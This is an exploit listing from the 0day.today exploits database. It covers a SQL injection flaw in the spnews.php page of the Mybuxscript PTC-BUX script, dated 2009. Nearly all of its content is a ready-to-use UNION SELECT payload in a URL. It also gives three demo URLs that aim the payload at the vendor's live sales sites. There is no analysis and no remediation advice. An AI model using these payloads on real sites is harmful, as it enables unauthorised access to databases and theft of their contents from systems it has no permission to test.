[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Mybuxscript PTC-BUX (spnews.php) SQL Injection Vulnerability

Author
HxH
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-5711
Category
web applications
Date add
30-08-2009
Platform
unsorted
============================================================
Mybuxscript PTC-BUX (spnews.php) SQL Injection Vulnerability
============================================================


------------------------------------------------------------

Mybuxscript PTC-BUX (spnews.php) SQL Injection Vulnerability

------------------------------------------------------------

Author.: HxH

---------------------------

Script.: Mybuxscript PTC-BUX (BASIC/ADVANCE/PRO)

Home...: http://www.mybuxscript.com/index.php?cPath=1

-----------------------------------------------------

Exploit:

[~] http://localhost/Path/?p=spnews&id=-7+UNION+SELECT+1,version(),3,4--

------------------------------------------------------------------------

Demo...: 

A: http://mybuxscript.com/salescripts/ptc_basic/?p=spnews&id=-7+UNION+SELECT+1,version(),3,4--

B: http://mybuxscript.com/salescripts/ptc_advance/?p=spnews&id=-10+UNION+SELECT+1,version(),3,4--

C: http://mybuxscript.com/salescripts/ptc_professional/?p=spnews&id=-12+UNION+SELECT+1,version(),3,4--

------------------------------------------------------------------------------------------------------



#  0day.today [2024-12-25]  #